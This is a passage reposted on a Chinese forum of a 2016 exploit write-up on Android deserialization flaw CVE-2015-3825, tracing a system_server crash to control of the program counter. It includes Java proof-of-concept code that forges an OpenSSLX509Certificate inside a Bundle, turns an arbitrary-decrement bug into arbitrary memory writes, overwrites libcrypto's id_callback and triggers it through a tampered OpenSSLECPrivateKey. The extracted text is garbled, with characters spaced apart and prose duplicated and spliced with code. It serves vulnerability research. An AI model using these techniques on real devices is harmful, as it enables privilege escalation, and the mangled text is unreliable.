搜索

[10554] 2016-09-29_Android漏洞CVE-2015-3825分析及exploit实战：从Crash到劫持PC

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2016-09-29_Android漏洞CVE-2015-3825分析及exploit实战：从Crash到劫持PC A n d r o i d 漏 洞 C V E - 2 0 1 5 - 3 8 2 5 分 析 及 e x p l o i t 实 战 ： 从 C r a s h 到 劫 持 P C t h o r @ M S 5 0 9 T e a m   F r e e B u f   2 0 1 6 - 0 9 - 2 9 *   本 文 原 创 作 者 ：   t h o r @ M S 5 0 9 T e a m ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 C V E - 2 0 1 5 - 3 8 2 5 是 去 年 是 去 年 A n d r o i d 系 统 爆 出 的 高 危 漏 洞 ， 与 系 统 爆 出 的 高 危 漏 洞 ， 与 C V E - 2 0 1 4 - 7 9 1 1 一 样 都 属 于 一 样 都 属 于 A n d r o i d 系 统 的 反 序 列 化 漏 洞 。 通 过 该 漏 洞 系 统 的 反 序 列 化 漏 洞 。 通 过 该 漏 洞 可 以 实 现 可 以 实 现 A n d r o i d 系 统 提 权 及 代 码 执 行 等 一 系 列 攻 击 行 为 ， 危 害 巨 大 ， 影 响 系 统 提 权 及 代 码 执 行 等 一 系 列 攻 击 行 为 ， 危 害 巨 大 ， 影 响 A n d r o i d   4 . 3   到 到 A n d r o i d   5 . 1 所 有 版 本 。 所 有 版 本 。 0 × 0 0   构 造 构 造 C r a s h   P o c 与 C V E - 2 0 1 4 - 7 9 1 1 类 似 ， C V E - 2 0 1 5 - 3 8 2 5 都 是 反 序 列 化 漏 洞 ， 因 此 我 们 基 于 C V E - 2 0 1 4 - 7 9 1 1 的 P o c 构 造 C V E - 2 0 1 5 - 3 8 2 5 的 P o c 。 C V E - 2 0 1 5 - 3 8 2 5 的 反 序 列 化 漏 洞 出 现 在 O p e n S S L X 5 0 9 C e r t i f i c a t e 类 中 ， 构 造 伪 造 类 ： 将 伪 造 类 放 入 B u n d l e 中 ： 在 s e t A p p l i c a t i o n R e s t r i c t i o n s 函 数 中 将 B u n d l e 中 伪 造 的 类 修 改 为 O p e n S S L X 5 0 9 C e r t i f i c a t e ， 并 通 过 B i n d e r 传 给 s y s t e m _ s e r v e r : 发 送 成 功 以 后 就 需 要 等 待 s y s t e m _ s e r v e r 触 发 G C 回 收 对 象 ， 这 里 我 们 可 以 通 过 B i n d e r 多 次 发 送 B u n d l e 去 触 发 ： 我 们 在 A V D   A n d r o i d   5 . 0 模 拟 器 上 运 行 P o c ， 通 过 a d b   l o g c a t 可 以 看 到 c r a s h   l o g : 可 以 看 到 虽 然 出 错 的 a d d r e s s 像 是 我 们 指 定 的 地 址 ， 但 是 P C 指 针 并 不 受 我 们 控 制 。 我 们 只 有 通 过 调 试 分 析 来 确 定 该 漏 洞 如 何 利 用 ， 找 到 控 制 P C 指 针 的 方 法 。 0 × 0 1   分 析 漏 洞 成 因 分 析 漏 洞 成 因 p u b l i c   c l a s s   Z p e n S S L X 5 0 9 C e r t i f i c a t e   i m p l e m e n t s   S e r i a l i z a b l e   {             p r i v a t e   s t a t i c   f i n a l   l o n g   s e r i a l V e r s i o n U I D   =   - 8 5 5 0 3 5 0 1 8 5 0 1 4 3 0 8 5 3 8 L ;   / / 5 . 0         p r i v a t e   f i n a l   l o n g   m C o n t e x t ;         p u b l i c   Z p e n S S L X 5 0 9 C e r t i f i c a t e ( l o n g   c t x )   {                 m C o n t e x t   =   c t x ;         } } B u n d l e   b   =   n e w   B u n d l e ( ) ; b . p u t S e r i a l i z a b l e ( " e a t t h i s "   ,   n e w   Z p e n S S L X 5 0 9 C e r t i f i c a t e ( 0 x a a a a a a a a a L ) ) ; b y t e [ ]   d a t a   =   _ d a t a . m a r s h a l l ( ) ; f o r   ( i n t   i   =   0 ;   i < d a t a . l e n g t h - 3 ;   i + + )   { i f   ( d a t a [ i ]   = =   ' Z '   & &   d a t a [ i   +   1 ]   = =   ' p '   & &   d a t a [ i   +   2 ]   = =   ' e '   & &   d a t a [ i   +   3 ]   = =   ' n ' )   {                 d a t a [ i ]   =   ' O ' ;         } } f o r   ( i n t   i = 0 ;   i < 1 0 0 ;   i + + )   {       s e t A p p l i c a t i o n R e s t r i c t i o n s ( c t x . g e t P a c k a g e N a m e ( ) ,   b ,   m e . h a s h C o d e ( ) ) ; }
参 考 论 文 [ 1 ] 及 分 析 文 章 [ 2 ] ， 我 们 通 过 I D A 调 试 及 源 码 分 析 来 确 定 漏 洞 的 利 用 点 。 我 们 伪 造 的 类 在 被 G C 回 收 的 时 候 会 调 用 O p e n S S L X 5 0 9 C e r t i f i c a t e 的 f i n a l i z e 方 法 ： f i n a l i z e 方 法 会 调 用 n a t i v e 层 的 X 5 0 9 _ f r e e 函 数 ， n a t i v e 层 主 要 的 函 数 调 用 栈 如 下 ： 我 们 通 过 I D A   a t t a c h 到 s y s t e m _ s e r v e r 进 程 ， 运 行 P o c 可 在 I D A 中 捕 获 到 e x c e p t i o n ： 我 们 可 以 看 到 c r a s h 是 由 于 执 行 查 看 此 时 的 寄 存 器 环 境 ：   X 5 0 9 _ f r e e - - - > A S N 1 _ i t e m _ f r e e - - - > A S N 1 _ i t e m _ c o m b i n e _ f r e e - - - > a s n 1 _ d o _ l o c k - - - > C R Y P T O _ a d d _ l o c k L D R   R 0 , [ R 7 ]
可 以 看 到 寄 存 器 R 7 存 储 的 值 正 好 是 我 们 传 入 的 地 址 值 + 0 × 1 0 。 由 于 R 7 寄 存 器 的 值 是 一 个 不 存 在 的 地 址 ， 因 此 在 执 行 L D R   R 0 , [ R 7 ] 指 令 时 导 致 内 存 地 址 访 问 错 误 ， 从 而 导 致 s y s t e m _ s e r v e r 进 程 崩 溃 。 0 × 0 2   e x p l o i t 控 制 控 制 P C 1 .   任 意 地 址 值 减 一 任 意 地 址 值 减 一 分 析 了 漏 洞 崩 溃 的 原 因 ， 我 们 需 要 继 续 分 析 如 何 构 造 e x p l o i t 。 详 细 的 参 数 传 递 过 程 可 以 参 考 [ 2 ] , 这 里 我 们 直 接 给 出 结 果 , m C o n t e x t 为 我 们 控 制 的 传 入 值 ： s y s t e m _ s e r v e r 崩 溃 时 R 7 寄 存 器 的 值 为 m C o n t e x t   +   0 × 1 0 ， 即 我 们 传 入 的 m C o n t e x t 值 为 0 x a a a a a a a a , 而 R 7 的 值 为 0 x a a a a a a b a 。 继 续 分 析 C R Y P T O _ a d d _ l o c k 函 数 中 崩 溃 后 的 相 关 代 码 ： R 0 寄 存 器 的 值 为 0 x F F F F F F F F ( 即 - 1 ) , 则 有 最 关 键 的 代 码 在 这 里 ： 将 R 6 寄 存 器 的 值 最 后 写 回 R 7 指 向 的 地 址 。 通 过 以 上 分 析 我 们 可 以 看 到 ， 该 漏 洞 的 核 心 是 可 以 指 定 任 意 内 存 地 址 A ， 将 A 地 址 存 储 的 3 2 位 整 数 取 出 减 一 ， 最 后 将 减 一 后 的 值 再 存 回 地 址 A ， 即 可 以 在 s y s t e m _ s e r v e r 进 程 中 实 现 任 意 内 存 地 址 减 一 。 2 . 任 意 地 址 写 任 意 地 址 写 既 然 我 们 能 够 让 任 意 地 址 减 一 ， 那 么 我 们 就 可 以 通 过 数 次 减 一 操 作 达 到 任 意 地 址 写 的 目 的 。 例 如 我 们 要 讲 内 存 中 某 个 地 址 A 的 3 2 位 整 数 0 x B B B B B B B B 变 为 0 x A A A A A A A A ， 那 么 理 论 上 只 要 我 们 在 指 定 的 地 址 上 执 行 0 × 1 1 1 1 1 1 1 1 次 减 一 操 作 即 可 。 R 7   =   m C o n t e x t   +   0 x 1 0 R 6   =   [ R 7 ]   -   1 S T R   R 6 , [ R 7 ]
但 是 这 里 有 几 个 问 题 ： 1 .   减 一 操 作 过 多 影 响 效 率 2 .   新 值 比 旧 值 小 ， 溢 出 怎 么 办 3 .   该 漏 洞 是 否 允 许 重 复 利 用 针 对 问 题 1 ， 我 们 可 以 直 接 采 取 降 维 思 路 ， 将 原 本 针 对 3 2 位 整 数 的 减 一 操 作 转 化 为 分 别 针 对 4 个 字 节 的 减 一 操 作 ， 即 我 们 只 要 分 别 通 过 减 一 操 作 将 原 值 的 每 个 字 节 转 化 为 指 定 的 值 即 可 。 例 如 : 1 .   我 们 首 先 在 内 存 地 址 A 执 行 0 × 1 1 次 减 一 操 作 ， 那 么 地 址 A 的 值 从 0 x B B B B B B B B 变 为 0 x B B B B B B A A ; 2 .   在 内 存 地 址 A + 1 执 行 0 × 1 1 次 减 一 操 作 ， 那 么 地 址 A 的 值 从 0 x B B B B B B A A 变 为 0 x B B B B A A A A ; 3 .   在 内 存 地 址 A + 2 执 行 0 × 1 1 次 减 一 操 作 ， 那 么 地 址 A 的 值 从 0 x B B B B A A A A 变 为 0 x B B A A A A A A ; 4 .   最 后 在 内 存 地 址 A + 3 执 行 0 × 1 1 次 减 一 操 作 ， 那 么 地 址 A 的 值 从 0 x B B A A A A A A 变 为 0 x A A A A A A A A ; 最 后 我 们 达 到 了 相 同 的 效 果 ， 即 内 存 地 址 A 的 值 从 0 x B B B B B B B B 变 为 了 0 x A A A A A A A A ， 但 是 仅 仅 执 行 了 0 × 4 4 次 减 一 操 作 ， 效 率 大 大 提 升 。 针 对 问 题 2 ， 如 果 我 们 采 取 分 字 节 减 一 操 作 的 话 ， 那 么 就 需 要 从 高 位 借 一 位 ， 和 减 法 的 操 作 类 似 。 针 对 问 题 3 ， 我 们 需 要 确 定 通 过 漏 洞 执 行 一 次 减 一 操 作 后 会 不 会 导 致 崩 溃 ， 或 是 有 什 么 限 制 条 件 。 我 们 查 看 A S N 1 _ i t e m _ c o m b i n e _ f r e e 函 数 源 码 ： 这 里 我 们 可 以 看 到 如 果 a s n 1 _ d o _ l o c k 函 数 返 回 值 大 于 0 , 那 么 函 数 就 返 回 了 ， 不 会 进 入 后 面 其 他 的 c o d e   p a t h 。 但 是 如 果 返 回 负 数 或 0 ， 那 么 后 面 则 会 进 入 a s n 1 _ c b 或 a s n 1 _ e n c _ f r e e 函 数 的 路 径 ， 程 序 行 为 就 不 可 控 了 。 从 C R Y P T O _ a d d _ l o c k 函 数 的 反 汇 编 代 码 可 以 看 出 R 6 寄 存 器 的 值 就 是 返 回 值 ， 即 指 定 地 址 每 次 减 一 后 的 值 即 是 每 次 函 数 返 回 值 。 因 此 ， 要 能 够 多 次 稳 定 重 复 利 用 减 一 操 作 ， 需 要 有 两 个 限 制 条 件 ： 1 .   减 一 操 作 后 的 值 不 能 为 0
2 .   减 一 操 作 后 的 值 不 能 为 负 数 ， 即 减 一 操 作 后 的 数 必 须 在 [ 1 , 0 x 7 f f f f f f f ] 范 围 内 。 在 每 次 进 行 减 一 操 作 的 过 程 中 都 必 须 满 足 这 两 个 条 件 ， 不 然 就 会 导 致 进 入 a s n 1 _ c b 或 a s n 1 _ e n c _ f r e e 函 数 ， 调 试 结 果 发 现 这 条 路 径 一 般 就 是 崩 溃 ： 3 8 2 5 原 始 的 论 文 [ 1 ] 中 只 介 绍 了 重 复 减 一 操 作 的 利 用 方 法 ， 并 未 介 绍 另 一 条 f r e e 的 路 径 是 否 能 利 用 ， 我 们 暂 时 也 未 深 入 。 3 .   控 制 控 制 P C 1 )   覆 盖 回 调 函 数 地 址 覆 盖 回 调 函 数 地 址 我 们 通 过 任 意 地 址 减 一 操 作 实 现 了 任 意 地 址 写 ， 下 一 步 就 是 控 制 P C 寄 存 器 。 要 实 现 控 制 P C ， 最 简 单 的 方 法 就 是 通 过 任 意 地 址 写 覆 盖 G O T 表 中 的 函 数 地 址 ， 那 么 函 数 调 用 的 时 候 我 们 就 能 劫 持 P C 。 但 是 s y s t e m _ s e r v e r 中 的 s o 文 件 都 采 用 了 R E L R O ( R e l o c a t i o n   r e a d   o n l y ) 编 译 , 导 致 G O T 不 可 写 。 论 文 [ 1 ] 中 提 到 的 方 法 是 覆 盖 l i b c r y p t o . s o 中 i d _ c a l l b a c k 函 数 的 地 址 。 该 函 数 地 址 在 可 写 的 D a t a 段 ， 因 此 只 要 我 们 覆 盖 该 地 址 为 我 们 想 要 的 地 址 ， 并 触 发 i d _ c a l l b a c k 函 数 的 调 用 即 可 劫 持 P C 。 函 数 大 致 的 调 用 流 程 为 ： 要 想 覆 盖 i d _ c a l l b a c k 函 数 的 地 址 ， 我 们 需 要 知 道 两 个 值 ： 1 .   存 放 i d _ c a l l b a c k 函 数 地 址 的 地 址 值 2 .   原 来 i d _ c a l l b a c k 函 数 的 地 址 通 过 I D A 反 汇 编 C R Y P T O _ T H R E A D I D _ c u r r e n t 我 们 可 以 轻 易 找 到 存 放 i d _ c a l l b a c k 函 数 地 址 的 地 址 值 ： t h r o w E x c e p t i o n I f N e c e s s a r y - - - > C R Y P T O _ T H R E A D I D _ c u r r e n t - - - > i d _ c a l l b a c k
我 们 可 以 通 过 l i b c r y p t o . s o 加 载 的 基 址 及 偏 移 量 计 算 存 放 i d _ c a l l b a c k 函 数 地 址 的 地 址 值 ： i d _ c a l l b a c k 函 数 的 地 址 则 指 向 了 l i b j a v a c r y p t o . s o 中 的 指 令 ： 我 们 同 样 可 以 通 过 l i b j a v a c r y p t o . s o 基 址 及 偏 移 量 计 算 出 原 i d _ c a l l b a c k 函 数 的 地 址 ： 由 于 A n d r o i d 设 计 上 的 缺 陷 ， 这 些 s o 文 件 加 载 基 址 都 是 可 以 通 过 获 取 自 身 进 程 的 内 存 地 址 获 得 ， 从 而 绕 过 A S L R ， 具 体 方 法 可 参 考 7 9 1 1 的 P o c 。 获 取 到 这 两 个 值 以 后 还 不 能 直 接 调 用 w r i t e W h a t W h e r e 函 数 来 覆 盖 ， 这 里 还 需 要 有 一 些 特 殊 处 理 。 由 于 l i b j a v a c r y p t o . s o 加 载 的 基 址 在 模 拟 器 中 一 般 在 高 地 址 ， 例 如 0 x A E 3 6 E 0 0 0 ， 即 原 i d _ c a l l b a c k 函 数 的 地 址 值 是 个 负 数 ， 由 之 前 的 分 析 可 知 ， 如 果 是 负 数 的 话 会 c r a s h 。 这 里 我 们 曲 线 救 国 ， 首 先 覆 盖 高 字 节 0 x A E 字 节 为 [ 0 x 1 , 0 x 7 F ] 范 围 内 的 数 ， 那 么 在 覆 盖 低 字 节 的 时 候 就 是 正 数 了 ， 可 避 免 c r a s h ， 主 要 代 码 如 下 ： 这 里 的 G 1 _ a d d r 是 我 们 构 造 R O P 的 第 一 个 g a d g e t 地 址 ， 即 劫 持 P C 到 我 们 控 制 的 流 程 。 这 里 还 有 一 个 重 要 问 题 ， 就 是 G 1 _ a d d r 值 的 高 字 节 只 能 在 [ 0 x 1 , 0 x 7 F ] 范 围 内 ， 导 致 我 们 寻 找 第 一 个 g a d g e t 的 时 候 只 能 在 [ 0 x 1 , 0 x 7 F F F F F F F ] 地 址 空 间 内 寻 找 ， 比 较 受 限 。 2 )   触 发 触 发 i d _ c a l l b a c k 执 行 执 行 主 动 触 发 i d _ c a l l b a c k 的 执 行 也 需 要 我 们 构 造 伪 造 的 数 据 到 s y s t e m _ s e r v e r 中 ， 调 用 栈 大 致 如 下 ： 我 们 需 要 将 修 改 过 数 据 的 O p e n S S L E C P r i v a t e K e y 对 象 通 过 b i n d e r 传 给 s y s t e m _ s e r v e r ， 由 于 O p e n S S L E C P r i v a t e K e y 并 未 导 出 ， 只 有 通 过 反 射 获 取 ： i d _ c a l l b a c k _ a d d r e s s   =   l i b c r y p t o _ A d d r e s s   +   0 x 1 0 1 c 3 0 ; i d _ c a l l b a c k _ o r i g i n _ v a l u e   =   l i b j a v a c r y p t o _ A d d r e s s   +   0 x 8 1 2 8   +   1 ; / / 首 先 覆 盖 高 位 字 节 w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r ,   3 ) ; f o r c e G C i n S y s t e m S e r v e r ( g e t B a s e C o n t e x t ( ) ) ; / / 再 覆 盖 其 他 3 个 字 节 w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r , 0 ) ; w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r , 1 ) ; w r i t e W h a t W h e r e _ p o s ( g e t B a s e C o n t e x t ( ) ,   i d _ c a l l b a c k _ a d d r e s s ,   i d _ c a l l b a c k _ o r i g i n _ v a l u e ,   G 1 _ a d d r , 2 ) ; f o r c e G C i n S y s t e m S e r v e r ( g e t B a s e C o n t e x t ( ) ) ; O p e n S S L E C P r i v a t e K e y . r e a r d O b j e c t - - > N a t i v e C r y p t o . d 2 i _ P K C S 8 _ P R I V _ K E Y _ I N F O - - > t h r o w E x c e p t i o n I f N e c e s s a r y - - > C R Y P T O _ T H R E A D I D _ c u r r e n t - - > i d _ c a l l b a c k
构 造 好 O p e n S S L E C P r i v a t e K e y 后 我 们 需 要 修 改 类 中 的 数 据 ， 去 触 发 s y s t e m _ s e r v e r 反 序 列 化 异 常 ， 从 而 执 行 i d _ c a l l b a c k 函 数 。 同 样 ， 我 们 在 s e t A p p l i c a t i o n R e s t r i c t i o n s 函 数 中 直 接 修 改 b y t e 数 据 ： 运 行 测 试 a p p ， 我 们 可 以 看 到 异 常 ： 可 以 看 到 ， 我 们 仅 仅 修 改 几 个 字 节 便 导 致 了 s y s t e m _ s e r v e r 反 序 列 化 异 常 。 但 是 这 里 有 一 个 问 题 ， 就 是 d a t a 修 改 的 位 置 不 同 导 致 的 异 常 也 不 同 ， 导 致 i d _ c a l l b a c k 函 数 的 调 用 次 序 也 会 有 所 不 同 ， 同 时 寄 存 器 的 布 置 也 会 有 所 不 同 ， 这 会 对 后 面 R O P 的 构 造 产 生 影 响 。 作 为 演 示 ， 我 们 将 P C 值 的 值 设 为 0 x 7 e 7 e 7 e 7 e ， 实 际 利 用 的 时 候 应 设 置 为 第 一 个 R O P   g a d g e t 的 值 ： 我 们 可 以 看 到 s y s t e m _ s e r v e r 在 我 们 指 定 的 地 址 0 x 7 e 7 e 7 e 7 e 崩 溃 。 如 果 我 们 构 造 好 了 R O P 及 s h e l l c o d e 的 话 ， 这 里 我 们 就 可 以 设 置 为 第 一 个 g a d g e t 的 地 址 ， 从 而 劫 持 s y s t e m _ s e r v e r 进 程 的 执 行 流 程 ， 进 入 我 们 的 s h e l l c o d e 执 行 指 令 。 0 × 0 3   待 续 ： 待 续 ： R O P 及 及 s h e l l c o d e 通 过 以 上 的 分 析 及 P o c 调 试 ， 我 们 成 功 实 现 了 从 c r a s h 到 控 制 P C 实 现 进 程 劫 持 的 过 程 。 下 一 篇 文 章 我 们 将 继 续 介 绍 R O P 的 构 造 及 利 用 过 C l a s s   E C _ c l a z z   =   C l a s s . f o r N a m e ( " c o m . a n d r o i d . o r g . c o n s c r y p t . O p e n S S L E C P r i v a t e K e y " ) ; C l a s s   g r o u p _ c o n t e x t   =   C l a s s . f o r N a m e ( " c o m . a n d r o i d . o r g . c o n s c r y p t . O p e n S S L E C G r o u p C o n t e x t " ) ; C o n s t r u c t o r   E C _ c o n s t r u c t o r   =   E C _ c l a z z . g e t C o n s t r u c t o r ( E C P r i v a t e K e y S p e c . c l a s s ) ; M e t h o d   m _ g e t C u r v e B y N a m e   =   g r o u p _ c o n t e x t . g e t M e t h o d ( " g e t C u r v e B y N a m e " ,   S t r i n g . c l a s s ) ; M e t h o d   m _ g e t E C P a r a m e t e r S p e c   =   g r o u p _ c o n t e x t . g e t M e t h o d ( " g e t E C P a r a m e t e r S p e c " ) ; O b j e c t   o p e n S s l S p e c   =   m _ g e t C u r v e B y N a m e . i n v o k e ( n u l l , " p r i m e 2 5 6 v 1 " ) ; B i g I n t e g e r   s   =   n e w   B i g I n t e g e r ( " 2 2 9 c d b b f 4 8 9 a e a 5 8 4 8 2 8 a 2 6 1 a 2 3 f 9 f f 8 b 0 f 6 6 f 7 c c a c 9 8 b f 2 0 9 6 a b 3 a e e 4 1 4 9 7 c 5 " ,   1 6 ) ; E C P a r a m e t e r S p e c   a r g 1   =   ( E C P a r a m e t e r S p e c ) m _ g e t E C P a r a m e t e r S p e c . i n v o k e ( o p e n S s l S p e c ) ; E C P r i v a t e K e y S p e c   a r g 2   =   n e w   E C P r i v a t e K e y S p e c ( s ,   a r g 1   ) ; O b j e c t   o b j   =   E C _ c o n s t r u c t o r . n e w I n s t a n c e ( a r g 2 ) ; / / 将 生 成 的 O p e n S S L E C P r i v a t e K e y 对 象 放 入 B u n d l e 中   B u n d l e   b   =   n e w   B u n d l e ( ) ; b . p u t S e r i a l i z a b l e ( " e a t t h i s " ,   ( j a v a . i o . S e r i a l i z a b l e ) o b j ) ; b y t e [ ]   d a t a   =   _ d a t a . m a r s h a l l ( ) ; i n t   i   =   4 1 0 ; d a t a [ i ]   =   0 x 0 ; d a t a [ i + 1 ]   =   0 x 0 ; d a t a [ i + 2 ]   =   0 x 0 ;
程 ， 从 而 实 现 命 令 执 行 、 s h e l l c o d e 执 行 的 目 的 。 R O P 及 s h e l l c o d e 的 构 造 也 是 编 写 e x p l o i t 过 程 中 最 精 巧 及 难 度 最 大 的 地 方 ， 大 家 可 以 参 考 [ 1 ] 给 出 的 例 子 。 0 × 0 4   总 结 总 结 本 文 分 析 介 绍 了 C V E - 2 0 1 5 - 3 8 2 5 漏 洞 的 成 因 ， 实 践 了 从 c r a s h 到 控 制 P C 指 针 的 P o c 编 写 过 程 ， 并 记 录 了 调 试 过 程 中 遇 到 的 诸 多 问 题 。 漏 洞 的 利 用 需 要 强 大 的 调 试 分 析 能 力 ， I D A + A V D 的 组 合 勉 强 能 够 实 现 单 步 调 试 ， 但 是 I D A 在 单 步 时 还 是 会 偶 尔 出 现 异 常 。 另 外 就 是 在 x 8 6 上 使 用 a r m 模 拟 真 的 非 常 卡 ， c r a s h 后 启 动 也 非 常 慢 ， 调 试 的 时 候 又 会 多 次 崩 溃 重 启 ， 只 有 干 等 ， 导 致 漏 洞 调 试 非 常 耗 时 。 大 家 在 这 方 面 如 果 有 好 的 解 决 方 法 和 经 验 ， 欢 迎 大 家 一 起 分 享 及 探 讨 学 习 ！ 参 考 文 献 参 考 文 献 [ 1 ] h t t p s : / / w w w . u s e n i x . o r g / s y s t e m / f i l e s / c o n f e r e n c e / w o o t 1 5 / w o o t 1 5 - p a p e r - p e l e s . p d f [ 2 ] h t t p : / / w w w . d r o i d s e c . c n / o p e n s s l x 5 0 9 c e r t i f i c a t e % E 5 % 8 F % 8 D % E 5 % B A % 8 F % E 5 % 8 8 % 9 7 % E 5 % 8 C % 9 6 % E 6 % B C % 8 F % E 6 % B 4 % 9 E % E F % B C % 8 8 c v e - 2 0 1 5 - 3 8 2 5 % E F % B C % 8 9 % E 6 % 8 8 % 9 0 % E 5 % 9 B % A 0 % E 5 % 8 8 % 8 6 % E 6 % 9 E % 9 0 / [ 3 ] h t t p : / / w w w . f r e e b u f . c o m / n e w s / 7 4 6 7 6 . h t m l [ 4 ] h t t p : / / w w w . d r o i d s e c . c n / % E 5 % 8 6 % 8 D % E 8 % A E % B A c v e - 2 0 1 4 - 7 9 1 1 % E 5 % A E % 8 9 % E 5 % 8 D % 9 3 % E 5 % B A % 8 F % E 5 % 8 8 % 9 7 % E 5 % 8 C % 9 6 % E 6 % B C % 8 F % E 6 % B 4 % 9 E / *   本 文 原 创 作 者 ：   t h o r @ M S 5 0 9 T e a m ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载   阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理